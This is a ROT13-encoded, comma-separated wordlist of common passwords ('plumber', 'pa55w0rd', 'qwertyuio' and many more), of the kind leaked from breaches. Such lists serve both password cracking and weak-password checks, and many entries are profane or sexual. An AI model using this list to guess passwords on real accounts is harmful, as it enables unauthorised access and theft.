enaqba1,cyhzore,gryrsba,ubeaqbt,ynthan,eouoxx,qnjt,jroznfgre,oerrmr,ornfg,cbefpur9,orrspnxr,yrbcneq,erqohyy,bfpne1,gbcqbt,tbqfznpx,gurxvat,cvpf,bzrtn1,fcrnxre,ivxgbevn,shpxref,objyre,fgneohpx,twxols,inyunyyn,nanepul,oynpxf,ureovr,xvatcva,fgnesvfu,abxvn,ybirvg,npuvyyrf,906090,ynogrp,app1701n,svgarff,wbeqna1,oenaqb,nefrany1,ohyy,xvpxre,ancnff,qrfreg,fnvyobng,obuvpn,genpgbe,uvqqra,zhccrg,wnpxfba1,wvzzl1,grezvangbe,cuvyyvrf,cn55j0eq,greebe,snefvqr,fjvatref,yrtnpl,sebagvre,ohggubyr,qbhtuobl,wepsls,ghrfqnl,fnoongu,qnavry1,aroenfxn,ubzref,djreglhvb,nmnzng,snyyra,ntrag007,fgevxre,pnzryf,vthnan,ybbxre,cvaxsybl,zbybxb,djregl123456,qnaalobl,yhpxlqbt,789654,cvfgby,jubpnerf,punezrq,fxvvat,fryrpg,senaxl,chccl,qnavvy,iynqvx,irggr,isepoies,vungrlbh,arinqn,zbarlf,ixbagnxgr,znaqvatb,chccvrf,666777,zlfgvp,mvqnar,xbgrabx,qvyyvtns,ohqzna,ohatubyr,mirmqn,123457,gevgba,tbysonyy,grpuavpf,gebwnaf,cnaqn,yncgbc,ebbxvr,01011991,15426378,noreqrra,thfgni,wrgueb,ragrecevfr,vtbe,fgevccre,svygre,uheevpna,esaguols,yrfcnhy,tvmzb1,ohgpu,132435,qguwloes,1366613,rkpnyvoh,963852,absrne,zbzbarl,cbffhz,phggre,bvyref,zbbpbj,phcpnxr,tocygj,ongzna1,fcynfu,firgvx,fhcre1,fbyrvy,obtqna,zryvffn1,ivcref,onolobl,gqhglod,ynaprybg,ppovyy,xrlfgbar,cnffjbeg,synzvatb,sversbk,qbtzna,ibegrk,erory,abbqyr,enira1,mncubq,xvyyzr,cbxrzba1,pbbyzna,qnavyn,qrfvtare,fxvaal,xnzvxnmr,qrnqzna,tbcure,qbbovr,jneunzzre,qrrmahgf,sernxf,ratntr,puril1,fgrir1,ncbyyb13,cbapub,unzzref,nmfkqp,qenphyn,000007,fnffl,ovgpu1,obbgf,qrfxwrg,12332,znpqnqql,zvtugl,enatref1,znapurfg,fgreyva,pnfrl1,zrngonyy,znvyzna,fvangen,pguhyuh,fhzzre1,ohoonf,pnegbba,ovplpyr,rngchffl,gehrybir,fragvary,gbyxvra,oernfg,pncbar,yvpxvg,fhzzvg,123456x,crgre1,qnvfl1,xvggl1,123456789m,penml1,wnzrfoba,grknf1,frkltvey,362436,fbavp,ovyylobl,erqubg,zvpebfbs,zvpebyno,qnqql1,ebpxrgf,vybirlb,sreanaq,tbeqba24,qnavr,phgynff,cbyfxn,fgne69,gvggvrf,cnaglubf,01011985,gurxvq,nvxvqb,tbsvfu,znlqnl,1234djr,pbxr,nasvryq,fbal,ynafvat,fzhg,fpbgpu,frkk,pngzna,73501505,uhfgyre,fnha,qsxguom,cnffjbe1,wraal1,nmfkqpsi,purref,vevfu1,tnoevr,gvazna,bevbyrf,1225,puneygba,sbeghan,01011970,nveohf,ehfgnz,kgerzr,ovtzbarl,mkpnfq,ergneq,tehzcl,uhfxvrf,obkvat,4ehaare,xryyl1,hygvzn,jneybeq,sbeqs150,benatrf,ebggra,nfqswxy,fhcrefgne,qranyv,fhygna,ovxvav,fnengbtn,gube,svtneb,fvkref,jvyqsver,iynqvfyni,128500,fcnegn,znlurz,terraonl,purjvr,zhfvp1,ahzore1,pnapha,snovr,zryyba,cbvhlgerjd,pybhq9,pehapu,ovtgvzr,puvpxra1,cvppbyb,ovtoveq,321654987,ovyyl1,zbwb,01011981,znenqban,fnaqeb,purfgre1,ovmxvg,ewvesetoqr,789123,evtugabj,wnfzvar1,ulcrevba,gernfher,zrngybns,neznav,ebiref,wneurnq,01011986,pehvfr,pbpbahg,qentbba,hgbcvn,qnivqf,pbfzb,esuols,errobx,1066,puneyv,tvbetv,fgvpxf,fnlnat,cnff1234,rkbqhf,nanpbaqn,mndkfj,vyyvav,jbbsjbbs,rzvyl1,fnaql1,cnpxre,cbbagnat,tbibyf,wrqv,gbzngb,ornare,pbbgre,pernzl,yvbaxvat,unccl123,nyongebf,cbbqyr,xrajbegu,qvabfnhe,terraf,tbxh,uncclqnl,rrlber,gfhanzv,pnoontr,ubylfuvg,ghexrl50,zrzberk,punfre,obtneg,betnfz,gbzzl1,ibyyrl,juvfcre,xabcxn,revpffba,jnyyrlr,321123,crccre1,xngvr1,puvpxraf,glyre1,pbeenqb,gjvfgrq,100000,mbeeb,pyrzfba,mkpnfqdjr,gbbgfvr,zvynan,mravgu,sxgepslyus,funavn,sevfpb,cbyavlcvmqrp0211,penmlono,wharoht,shtnmv,ererves,isirxm,1001,fnhfntr,ispmlm,xbfuxn,pyncgba,whfgva1,naulrhrz,pbaqbz,shone,uneqebpx,fxljnyxre,ghaqen,pbpxf,tevatb,150781,pnaba,ivgnyvx,nfcver,fgbpxf,fnzfhat1,nccyrcvr,nop12345,newnl,tnaqnys1,obbo,cvyybj,fcnexyr,tzbarl,ebpxuneq,yhpxl13,fnzvnz,rirerfg,uryylrnu,ovtfrkl,fxbecvba,esearp,urqtrubt,nhfgenyv,pnaqyr,fynpxre,qvpxf,iblrhe,wnmmzna,nzrevpn1,obool1,oe0q3e,jbysvr,isxfves,1dn2jf3rq,13243546,sevtug,lbfrzvgr,grzc,xnebyvan,sneg,onefvx,fhes,purrgnu,onqqbt,qravfxn,fgnefuvc,obbgvr,zvyran,uvgurer,xhzr,terngbar,qvyqb,50prag,0.0.0.000,nyovba,nznaqn1,zvqtrg,yvba,znkryy,sbbgonyy1,plpybar,serrcbea,avxbyn,obafnv,xrafuva,fyvqre,onyybba,ebnqxvyy,xvyyovyy,222333,wrexbss,78945612,qvanzb,grxxra,enzoyre,tbyvngu,pvaanzba,znynxn,onpxqbbe,svrfgn,cnpxref1,enfgnzna,syrgpu,fbwqyt123nywt,fgrsnab,negrzvf,pnyvpb,alwrgf,qnzavg,ebobgrpu,qhpurff,epglom,ubbgre,xrljrfg,18436572,uny9000,zrpunavp,cvatcbat,bcrengbe,cerfgb,fjbeq,enfchgva,fcnax,oevfgby,snttbg,funqb,963852741,nzfgreqn,321456,jvooyr,pneeren,nyvonon,znwrfgvp,enzfrf,qhfgre,ebhgr66,gevqrag,pyvccre,fgrryre,jerfgyva,qvivar,xvccre,tbgburyy,xvatsvfu,fanxr1,cnffjbeqf,ohggzna,cbzcrl,ivnten,mkpioaz1,fchef,332211,fyhggl,yvarntr2,byrt,znpebff,cbbgre,oevna1,djreg1,puneyrf1,fynir,wbxref,lmrezna,fjvzzre,ar1469,ajb4yvsr,fbyapr,frnzhf,ybyvcbc,chcfvx,zbbfr1,vinabin,frperg1,zngnqbe,ybir69,420247,xglwkes,fhojnl,pvaqre,irezbag,chffvr,puvpb,sybevna,zntvpx,thvarff,nyyfbc,turggb,synfu1,n123456789,glcubba,qsxgus,qrcrpur,fxlqvir,qnzzvg,frrxre,shpxguvf,pelfvf,xpw9jk5a,hzoeryyn,e2q2p3cb,123123d,fabbcqbt,pevggre,gurobff,qvat,162534,fcyvagre,xvaxl,plpybcf,wnlunjx,456321,pnenzry,djre123,haqreqbt,pnirzna,baylzr,tencrf,srngure,ubgfubg,shpxure,eranhyg,trbetr1,frk123,cvccra,000001,789987,sybccl,phagf,zrtncnff,1000,cbeabf,hfzp,xvpxnff,terng1,dhnggeb,135246,jnffhc,uryybb,c0015123,avpbyr1,puvinf,funaaba1,ohyyfrlr,wnin,svfurf,oynpxunj,wnzrfobaq,ghansvfu,whttnyb,qxsyopxsq,123789456,qnyynf1,genafyngbe,122333,ornavr,nyhpneq,tsuwxz123,fhcrefgn,zntvpzna,nfuyrl1,pbuvon,kobk360,pnyvthyn,12131415,snpvny,7753191,qsxglaols,pboen1,pvtnef,snat,xyvatba,obo123,fnsnev,ybbfre,10203,qrrcguebng,znyvan,200000,gnmznavn,tbamb,tbnyvr,wnpbo1,zbanpb,pehvfre,zvfsvg,iu5150,gbzzlobl,znevab13,lbhfhpx,funexl,isuhsuoas,ubevmba,nofbyhg,oevtugba,123456e,qrngu1,xhatsh,znkk,sbesha,znzncncn,ragre1,ohqjrvfr,onaxre,trgzbarl,xbfgln,dnmjfk12,ovtorne,irpgbe,snyybhg,ahqvfg,thaaref,eblnyf,punvafnj,fpnavn,genqre,oyhrobl,jnyehf,rnfgfvqr,xnuhan,djregl1234,ybir123,fgrcu,01011989,plcerff,punzc,haqregnxre,loewxsd,rhebcn,fabjobne,fnoerf,zbarlzna,puevfoya,zvavzr,avccre,tebhpub,juvgrl,ivrjfbavp,cragubhf,jbys359,snoevp,sybhaqre,pbbythl,juvgrfbk,cnffzr,fzrtzn,fxvqbb,gunangbf,shpxh2,fanccyr,qnyrwe,zbaqrb,gurfvzf,zlonol,cnanfbav,fvaonq,gurpng,gbcure,sebqb,farnxref,d123456,m1k2p3,nysn,puvpntb1,gnlybe1,tuwpawase,png123,byvivre,plore,gvgnavhz,0420,znqvfba1,wnoebav,qnat,unzobar,vagehqre,ubyyl1,tnetblyr,fnqvr1,fgngvp,cbfrvqba,fghqyl,arjpnfgy,frkkkk,cbccl,wbunaarf,qnamvt,ornfgvr,zhfvpn,ohpxfubg,fhaalqnl,nqbavf,oyhrqbt,obaxref,2128506,puebab,pbzchgr,fcnja,01011988,gheob1,fzryyl,jncoof,tbyqfgne,sreenev1,778899,dhnaghz,cvfprf,obbzobbz,thaane,1024,grfg1234,sybevqn1,avxr,fhcrezna1,zhygvcyryb,phfgbz,zbgureybqr,1djregl,jrfgjbbq,hfanil,nccyr123,qnrjbb,xbea,fgrerb,fnfhxr,fhasybjr,jngpure,qunezn,555777,zbhfr1,nffubyrf,onoloyhr,123djregl,znevhf,jnyzneg,fabbc,fgnesver,gvttre1,cnvagony,xavpxref,nnyvlnu,ybxbzbgvi,gurraq,jvafgba1,fnccre,ebire,rebgvpn,fpnaare,enpre,mrhf,frkl69,qbbtvr,onlrea,wbfuhn1,arjovr,fpbgg1,ybfref,qebbcl,bhgxnfg,znegva1,qbqtr1,jnffre,hsxols,ewlpaslaol,guvegrra,12345m,112211,ubgerq,qrrwnl,ubgchffl,192837,wrffvp,cuvyvccr,fpbhg,cnagure1,phoovrf,unirsha,zntcvr,stugxz,ninynapu,arjlbex1,chqqvat,yrbavq,uneel1,poe600,nhqvn4,ovzzre,shpxh,01011984,vqbagxabj,isiststs,1357,nyrxfrl,ohvyqre,01011987,mrebpbby,tbqsngure,zlyvsr,qbahgf,nyyzvar,erqsvfu,777888,fnfpun,avgenz,obhapr,333666,fzbxrf,1k2mxt8j,ebqzna,fghaare,mknfdj12,ubbfvre,unvel,orerggn,vafreg,123456f,eglhrur,senaprfp,gvtugf,purrfr1,zvpeba,dhnegm,ubpxrl1,trtpoe,frnenl,wrjryf,obtrl,cnvagonyy,pryreba,cnqerf,ovat,flapznfgre,mvttl,fvzba1,ornpurf,cevffl,qvruneq,benatr1,zvggraf,nyrxfnaqen,dhrraf,02071986,ovttyrf,gubatf,fbhgucnex,neghe,gjvaxyr,tergmxl,enobgn,pnzovnzv,zbanyvfn,tbyyhz,puhpxyrf,fcvxr1,tynqvngbe,juvfxl,fcbatrobo,frkl1,03082006,znmnsnxn,zrngurnq,4121,bh8122,onersbbg,12345678d,psvglzes,ovtnff,n1f2q3,xbfzbf,oyrffvat,gvggl,pyriryna,greencva,tvatre1,wbuaobl,znttbg,pynevarg,qrrmahgm,336699,fghzcl,fgbarl,sbbgony,geniryre,ibyib,ohpxrg,fancba,cvnabzna,unjxrlrf,shgoby,pnfnabin,gnatb,tbbqobl,fphon,ubarl1,frklzna,jnegubt,zhfgneq,nop1234,avpxry,10203040,zrbjzrbj,1012,obevphn,cebcurg,fnheba,12djnf,errsre,naqebzrqn,pelfgny1,wbxre1,90210,tbbsl,ybpb,ybirfrk,gevnatyr,jungfhc,zryybj,oratnyf,zbafgre1,znfgr,01011910,ybire1,ybir1,123nnn,fhafuva,fzrturnq,ubxvrf,fgvat,jryqre,enzob,preorehf,ohaal1,ebpxsbeq,zbaxr,1d2j3r4e5,tbyqjvat,tnoevryy,ohmmneq,pewutowl,wnzrf007,envazna,tebbir,gvorevhf,cheqhr,abxvn6300,unlnohfn,fubh,wnttre,qvire,mvtmnt,cbbpuvr,hfnezl,cuvfu,erqjbbq,erqjvat,12345679,fnynznaqre,fvyire1,nopq123,fchgavx,obbovr,evccyr,rgreany,12dj34re,gurterng,nyyfgne,fyvaxl,trfcreeg,zvfuxn,juvfxref,cvaurnq,birexvyy,fjrrg1,euspwaes,zbagtbz240,frefbyhgvba,wnzvr1,fgnezna,cebkl,fjbeqf,avxbynl,onpneqv,enfgn,onqtvey,erorppn1,jvyqzna,craal1,fcnprzna,1007,10101,ybtna1,unpxrq,ohyyqbt1,uryzrg,jvaqfbe,ohssl1,eharfpncr,genccre,123451,onanar,qoeawu,evcxra,12345djr,sevfxl,fuha,srfgre,bnfvf,yvtugavat,vo6ho9,pvpreb,xbby,cbal,gurqbt,784512,01011992,zrtngeba,vyyhfvba,rqjneq1,ancfgre,11223,fdhnfu,ebnqxvat,jbbubb,19411945,ubbfvref,01091989,genpxre,ontven,zvqjnl,yrnirzrnybar,oe549,14725836,235689,zranpr,enpury1,srat,ynfre,fgbarq,ernyznqevq,787898,onyybbaf,gvaxreoryy,5551212,znevn1,cborqn,urvarxra,fbavpf,zbbayvtug,bcgvzhf,pbzrg,bepuvq,02071982,wnloveq,xnfuzve,12345678n,puhnat,puhaxl,crnpu,zbegtntr,ehyrmmm,fnyrra,puhpxvr,mvccl,svfuvat1,tfke750,qbtubhfr,znkvz,ernqre,funv,ohqqnu,orasvpn,pubh,fnybzba,zrvfgre,renfre,oynpxove,ovtzvxr,fgnegre,cvffvat,nathf,qryhkr,rntyrf1,uneqpbpx,135792468,zvna,frnunjxf,tbqsngur,obbxjbez,tertbe,vagry,gnyvfzna,oynpxwnpx,onolsnpr,unjnvvna,qbtsbbq,mubat,01011975,fnapub,yhqzvyn,zrqhfn,zbegvzre,123456654321,ebnqehaa,whfg4zr,fgnyva,01011993,unaqlzna,nycunorg,cvmmnf,pnytnel,pybhqf,cnffjbeq2,ptsuase,s**x,phofjva,tbat,yrkhf,znk123,kkk123,qvtvgny1,tsuwxz1,7779311,zvffl1,zvpunr,ornhgvsh,tngbe1,1005,cnpref,ohqqvr,puvabbx,urpxsl,qhgpurff,fnyyl1,oernfgf,orbjhys,qnexzna,wraa,gvssnal1,murv,dhna,dnmjfk1,fngnan,funat,vqbagxab,fzvguf,chqqva,anfgl1,grqqlorn,inyxlevr,cnffjq,punb,obkfgre,xvyyref,lbqn,purngre,vahlnfun,ornfg1,jnerntyr,sbelbh,qentbaonyy,zreznvq,ouoves,grqql1,qbycuva1,zvfgl1,qrycuv,tebzvg,fcbatr,dnmmnd,slgkes,tnzrbire,qvnb,fretv,ornzre,orrzre,xvgglxng,enapvq,znabjne,nqnz12,qvttyre,nffjbeq,nhfgva1,jvfuobar,tbanil,fcnexl1,svfgvat,gurqhqr,fvavfgre,1213,iraren,abiryy,fnyfreb,wnlqra,shpxbss1,yvaqn1,irqqre,02021987,1chffl,erqyvar,yhfg,wxglzes,02011985,qspoxod,qentba12,puebzr,tnzrphor,gvggra,pbat,oryyn1,yrat,02081988,rherxn,ovgpunff,147369,onaare,ynxbgn,123321n,zhfgnsn,cernpure,ubgobk,02041986,m1k2p3i4,cynlfgngvba,01011977,pynlzber,ryrpgen,purpxref,murat,dvat,nezntrqba,02051986,jerfgyr,fibobqn,ohyyf,avzohf,nyraxn,znqvan,arjcnff6,bargvzr,nn123456,onegzna,02091987,fvyirenq,ryrpgeba,12345g,qrivy666,byvire1,fxlyne,eugqgyew,tbohpxf,wbunaa,12011987,zvyxzna,02101985,pnzcre,guhaqreo,ovtohgg,wnzzva,qnivqr,purrxf,tbnjnl,yvtugre,pynhqv,guhzof,cvffbss,tubfgevqre,pbpnvar,grat,fdhnyy,ybghf,ubbgvr,oynpxbhg,qbvgabj,fhomreb,02031986,znevar1,02021988,cbgurnq,123456dj,fxngr,1369,crat,nagbav,arat,zvnb,opsvryqf,1492,znevxn,794613,zhfnfuv,ghyvcf,abat,cvnb,punv,ehna,fbhgucne,02061985,ahqr,znaqneva,654123,avawnf,pnaanovf,wrgfxv,krekrf,muhnat,xyrbcngen,qvpxvr,ovyob,cvaxl,zbetna1,1020,1017,qvrgre,onfronyy1,gbggraunz,dhrfg,lsasxzm,qvegovxr,1234567890n,znatb,wnpxfba5,vcfjvpu,vnztbq,02011987,gqhglom,zbqran,dvnb,fyvccrel,djrnfq123,oyhrsvfu,fnzgeba,gbba,111333,vfpbby,02091986,crgebi,shmml,mubh,1357924680,zbyylqbt,qrat,02021986,1236987,curbavk,muha,tuoyruwe,bguryyb,fgnepens,000111,fnasena,n11111,pnzrygbr,onqzna,infvyvfn,wvnat,1dnm2jf,yhna,firgn,12dj12,nxven,puhnv,369963,purrpu,orngyr,cvpxhc,cnybzn,01011983,pnenina,ryvmnirgn,tnjxre,onamnv,chffrl,zhyyrg,frat,ovatb1,ornepng,syrkvoyr,snefpncr,obehffvn,muhnv,grzcyne,thvgne1,gbbyzna,lspaglzes,puybr1,kvnat,fynir1,thnv,ahttrgf,02081984,znagvf,fyvz,fpbecvb1,slhgxols,gurqbbef,02081987,02061986,123dd123,mnccn,sretvr,7htq5uvc2w,uhnv,nfqsmkpi,fhasybjre,chfflzna,qrnqcbby,ovtgvg,01011982,ybir12,ynffvr,fxlyre,tngbenqr,pnecrqvr,wbpxrl,znapvgl,fcrpger,02021984,pnzreba1,negrzxn,erat,02031984,vbzrtn,wvat,zbevgm,fcvpr,euvab,fcvaare,urngre,munv,ubire,gnyba,ternfr,dvbat,pbeyrbar,yglopes,gvna,pbjobl1,uvccvr,puvzren,gvat,nyrk123,02021985,zvpxrl1,pbefnve,fbabzn,nneba1,kkkcnff,onppuhf,jroznfgr,puhb,klm123,puelfyre,fchef1,negrz,furv,pbfzvp,01020304,qrhgfpu,tnoevry1,123455,bprnaf,987456321,ovaynqra,yngvanf,n12345678,fcrrqb,ohggreph,02081989,21031988,zreybg,zvyyjnyy,prat,xbgnxh,wvbat,qentbaon,2580,fgbarpbyq,fahssl,01011999,02011986,uryybf,oynmr,znttvr1,fynccre,vfgnaohy,obawbiv,onolybir,znmqn,ohyysebt,cubrav,zrat,cbefpur1,abzber,02061989,oboqlyna,pncfybpx,bevba1,mnenmn,grqqlorne,agxgnwl,zlanzr,ebat,jenvgu,zrgf,avnb,02041984,fzbxvr,puriebyrg,qvnybt,tsuwxztsuwxz,qbgpbz,inqvz,zbanepu,nguyba,zvxrl1,unzvfu,cvna,yvnat,pbbyarff,puhv,gubzn,enzbarf,pvppvb,puvccl,rqqvr1,ubhfr1,avat,znexre,pbhtnef,wnpxcbg,oneonqbf,erqf,cqgcys,xabpxref,pbonyg,nzngrhef,qvcfuvg,ancbyv,xvyebl,chyfne,wnlunjxf,qnrzba,nyrkrl,jrat,fuhnat,9293709o13,fuvare,ryqbenqb,fbhyzngr,zpynera,tbysre1,naqebzrq,qhna,50fcnaxf,frklobl,qbtfuvg,02021983,fuhb,xnxnfuxn,flmltl,111111n,lrnuonol,dvnat,argfpncr,shyunz,120676,tbbare,muhv,envaobj6,ynherag,qbt123,unyvsnk,serrjnl,pneyvgbf,147963,rnfgjbbq,zvpebcubar,zbaxrl12,1123,crefvx,pbyqorre,trat,ahna,qnaal1,stgxzpol,ragebcl,tnqtrg,whfg4sha,fbcuv,onttvb,pneyvgb,1234567891,02021989,02041983,fcrpvnyx,cvenzvqn,fhna,ovtoyhr,fnynfnan,ubcrshy,zrcuvfgb,onvyrl1,unpx,naavr1,trarevp,ivbyrggn,fcrapre1,nepnqvn,02051983,ubaqnf,9562876,genvare,wbarf1,fznfuvat,yvnb,159632,vproret,erory1,fabbxre,grzc123,mnat,znggrb,snfgonyy,d2j3r4e5,onzobb,shpxlb,fuhghc,nfgeb,ohqqlobl,avxvgbf,erqoveq,znkkkk,fuvgsnpr,02031987,xhnv,xvffzlnff,fnunen,enqvburn,1234nfqs,jvyqpneq,znkjryy1,cngevp,cynfzn,urlabj,oehab1,funb,ovtsvfu,zvfsvgf,fnffl1,furat,02011988,02081986,grfgcnff,anabbx,pltahf,yvpxvat,fynivx,cevatyrf,kvat,1022,avawn1,fhozvg,qhaqrr,gvoheba,cvaxsyblq,lhzzl,fuhnv,thnat,pubcva,boryvk,vafbzavn,fgebxre,1n2f3q4s,1223,cynlobl1,ynmnehf,wbeqn,fcvqre1,ubzrew,fyrrcre,02041982,qnexybeq,pnat,02041988,02041987,gevcbq,zntvpvna,wryyl,gryrcuba,15975,ifwnfary12,cnfjbeq,virefba3,cniybi,ubzrobl,tnzrpbpx,nzvtb,oebqvr,ohqncrfg,lwqfdtsuwxz,erpxyrff,02011980,cnat,gvtre123,2469,znfba1,bevrag,01011979,mbat,pqgaoe,znxfvzxn,1011,ohfuvqb,gnkzna,tvbetvb,fcuvak,xnmnagvc,02101984,pbapbeqr,irevmba,ybiroht,trbet,fnz123,frnqbb,dnmjfkrqp123,wvnb,wrmrory,cuneznpl,noabezny,wryylorn,znkvzr,chssl,vfynaqre,ohaavrf,wvttnzna,qenxba,010180,cyhgb,muwpxsq,12365,pynffvpf,pehfure,zbeqbe,ubbyvtna,fgenjoreel,02081985,fpenooyr,unjnvv50,1224,jt8r3jws,pgughs,cerzvhz,neebj,123456djr,znmqn626,enzebq,gbbgvr,euwewyox,tubfg1,1211,obhagl,avnat,02071984,tbng,xvyyre12,fjrrgarf,cbeab1,znfnzhar,426urzv,pbebyyn,znevcbfn,uwppom,qbbzfqnl,ohzzre,oyhr12,munb,oveq33,rkpnyvohe,fnzfha,xvefgl,ohggshpx,xsuops,muhb,znepryyb,bmml,02021982,qlanzvgr,655321,znfgre12,123465,ybyylcbc,fgrcna,1dn2jf,fcvxre,tbvevfu,pnyyhz,zvpunry2,zbbaornz,nggvyn,urael1,yvaqebf,naqern1,fcbegl,ynagrea,12365478,arkgry,ivbyva,ibypbz,998877,jngre1,vzngvba,vafcveba,qlanzb,pvgnqry,cynprob,pybjaf,gvnb,02061988,gevccre,qnornef,unttvf,zreyva1,02031985,naguenk,nzrevxn,vybirzr,ifrtqn,oheevgb,obzoref,fabjobneq,sbefnxra,xngnevan,n1n2n3,jbbsre,gvttre2,shyyzbba,gvtre2,fcbpx,unaanu1,fabbcl1,frkkkl,fnhfntrf,fgnavfyni,pbonva,ebobgvpf,rkbgvp,terra123,zbolqvpx,frangbef,chzcxvaf,srethf,nfqqfn,147741,258852,jvaqfhes,erqqrivy,isvglzes,arirezvaq,anat,jbbqynaq,4417,zvpx,fuhv,d1d2d3,jvatzna,69696,fhcreo,mhna,tnarfu,crpxre,mrcule,nanfgnfvln,vph812,yneel1,02081982,oebxre,mnyhcn,zvunvy,isvols,qbttre,7007,cnqqyr,ineinen,fpunyxr,1m2k3p,cerfvqra,lnaxrrf2,ghavat,cbbcl,02051982,pbapbeq,inathneq,fgvssl,ewuwxgqs,sryvk1,jerapu,sverjnyy,obkre,ohoon69,cbccre,02011984,grzccnff,tbornef,phna,gvccre,shpxzr1,xnzvyn,gubat,chff,ovtpng,qehzzre1,02031982,fbjung,qvtvzba,gvtref1,enat,wvatyr,ovna,henahf,fbcenab,znaql1,qhfgl1,snaqnatb,nybun,chzcxva1,cbfgzna,02061980,qbtpng,obzonl,chffl123,bargjb,uvtuurry,cvccb,whyvr1,ynhen1,crcvgb,orat,fzbxrl1,fglyhf,fgenghf,erybnq,qhpxvr,xnera1,wvzob1,225588,369258,xehfgl,fanccl,nfqs12,ryrpgeb,111ddd,xhnat,svfuva,pyvg,nofge,puevfgzn,ddddd1,1234560,pneantr,thlire,obkref,xvggraf,mrat,1000000,djregl11,gbnfgre,penzcf,lhtvbu,02061987,vprubhfr,mkpioaz123,cvarnccyr,anznfgr,uneelcbggre,zltvey,snypba1,rneauneq,sraqre1,fcvxrf,ahgzrt,01081989,qbtobl,02091983,369852,fbsgnvy,zlcnffjbeq,cebjyre,ovtobff,1112,uneirfg,urat,whovyrr,xvyywbl,onffrg,xrat,mndkfjpqr,erqfbk1,ovnb,gvgna,zvfsvg99,ebobg,jvsrl,xvqebpx,02101987,tnzrobl,raevpb,1m2k3p4i,oebapbf1,neebjf,uninan,onatre,pbbxvr1,puevff,123dj,cynglchf,pvaql1,yhzore,cvaonyy,sbkl,ybaqba1,1023,05051987,02041985,cnffjbeq12,fhcrezn,ybatobj,enqvburnq,avttn,12051988,fcbatrob,djreg12345,noenxnqnoen,qbqtref1,02101989,puvyyva,avprthl,cvfgbaf,ubbxhc,fnagnsr,ovtora,wrgf,1013,ivxvatf1,znaxvaq,ivxgbevln,orneqbt,unzzre1,02071980,erqqjnes,zntryna,ybatwbua,wraavsr,tvyyrf,pnezrk2,02071987,fgnfvx,ohzcre,qbbshf,fynzqhax,cvkvrf,tnevba,fgrssv,nyrffnaqeb,orrezna,avprnff,jneevbe1,ubabyhyh,134679852,ivfn,wbuaqrre,zbgure1,jvaqzvyy,obbmre,bngzrny,ncgvin,ohfgl,qryvtug,gnfgl,fyvpx1,oretxnzc,onqtref,thvgnef,chssva,02091981,avxxv1,vevfuzna,zvyyre1,mvyqwvna,123000,nvejbys,zntarg,nanv,vafgnyy,02041981,02061983,nfgen,ebznaf,zrtna1,zhqinlar,serroveq,zhfpyrf,qbtoreg,02091980,02091984,fabjsynx,01011900,znat,wbfrcu1,altvnagf,cynlfgng,whavbe1,iwpeqs,djre12,jroubzcnf,tvenssr,cryvpna,wrssrefb,pbznapur,oehvfre,zbaxrlob,xwxfmcw,123456y,zvpeb,nyonal,02051987,natry123,rcfvyba,nynqva,qrngu666,ubhaqqbt,wbfrcuva,nygvzn,puvyyl,02071988,78945,hygen,02041979,tnfzna,guvfvfvg,cniry,vqhaab,xvzzvr,05051985,cnhyvr,onyyva,zrqvba,zbbaqbt,znabyb,cnyyznyy,pyvzore,svfuobar,trarfvf1,153624,gbssrr,gobar,pyvccref,xelcgba,wreel1,cvpghef,pbzcnff,111111d,02051988,1121,02081977,fnvenz,trgbhg,333777,pboenf,22041987,ovtoybpx,frireva,obbfgre,abejvpu,juvgrbhg,pgeuga,123456z,02061984,urjyrgg,fubpxre,shpxvafvqr,02031981,punfr1,juvgr1,irefnpr,123456789f,onfrony,vybirlbh2,oyhroryy,08031986,naguba,fghool,sberir,haqregnx,jreqre,fnvlna,znzn123,zrqvp,puvczhax,zvxr123,znmqnek7,djr123djr,objjbj,xwewiwaoq,pryro,pubbpubb,qrzb,ybiryvsr,02051984,pbyantb,yvguvhz,02051989,15051981,mmmkkk,jrypbz,nanfgnfv,svqryvb,senap,26061987,ebnqfgre,fgbar55,qevsgre,ubbxrz,uryyobl,1234dj,poe900ee,fvaarq,tbbq123654,fgbez1,tlcfl,mroen,mnpunel1,gbrwnz,ohprgn,02021979,grfgvat1,erqsbk,yvarntr,zvxr1,uvtuohel,xbebyrin,anguna1,jnfuvatg,02061982,02091985,ivagntr,erqoneba,qnyfur,zlxvqf,11051987,znporgu,whyvra,wnzrf123,xenfbgxn,111000,10011986,987123,cvcryvar,gngneva,frafrv,pbqrerq,xbzbqb,sebtzna,7894561230,anfpne24,whvpl,01031988,erqebfr,zlqvpx,cvtrba,gxocsqgas,fzveabss,1215,fcnz,jvaare1,sylsvfu,zbfxin,81shxxp,21031987,byrfln,fgneyvtu,fhzzre99,13041988,svfuurnq,serrfrk,fhcre12,06061986,nmnmry,fpbbolqbb,02021981,pnoeba,lbtvorne,furon1,xbafgnagva,genaal,puvyyv,grezvang,tuoljgpps,fybjunaq,fbppre12,pevpxrg1,shpxurnq,1002,frnthyy,npughat,oynz,ovtobo,oqfz,abfgebzb,fheivibe,paslopxsq,yrzbanqr,obbzre1,envaobj1,ebore,vevaxn,pbpxfhpx,crnpurf1,vgfzr,fhtne1,mbqvnp,hclbhef,qvanen,135791,fhaal1,puvnen,wbuafba1,02041989,fbyvghqr,unovov,fhfuv,znexvm,fzbxr1,ebpxvrf,pngjbzna,wbuaal1,djregl7,ornepngf,hfreanzr,01011978,jnaqrere,bufuvg,02101986,fvtzn,fgrcura1,cnenqvtz,02011989,synaxre,fnavgl,wfonpu,fcbggl,obybtan,snagnfvn,purilf,obenoben,pbpxre,74108520,123rjd,12021988,01061990,tgauwqok,02071981,01011960,fhaqrivy,3000tg,zhfgnat6,tnttvat,znttv,nezfgeba,lsasxo,13041987,eribyire,02021976,gebhoyr1,znqpng,wrerzl1,wnpxnff1,ibyxfjnt,30051985,pbeaqbt,cbby6123,znevarf1,03041991,cvmmn1,cvttl,fvffl,02031979,fhasver,natryhf,haqrnq,24061986,14061991,jvyqovyy,fuvabov,45z2qb5of,123djre,21011989,pyrbcnge,ynfirtn,ubeargf,nzbepvg,11081989,pbiragel,aveinan1,qrfgva,fvqrxvpx,20061988,02081983,tousioys,farnxl,ozj325,22021989,aslgkes,frxerg,xnyvan,mnamvone,ubgbar,dnmjf,jnfnov,urvqv1,uvtuynaqre,oyhrf1,uvgnpuv,cnbyb,23041987,fynlre1,fvzon1,02011981,gvaxreor,xvrena,01121986,172839,obvyre,1125,oyhrfzna,jnssyr,nfqstu01,guerrfbz,pbana,1102,ersyrk,18011987,anhgvyhf,rireynfg,snggl,inqre1,01071986,plobet,tuoqga123,oveqqbt,ehooyr,02071983,fhpxref,02021973,fxlunjx,12dj12dj,qnxbgn1,wbrobo,abxvn6233,jbbqvr,ybatqbat,ynzre,gebyy,tuwpawtsuwxz,420000,obngvat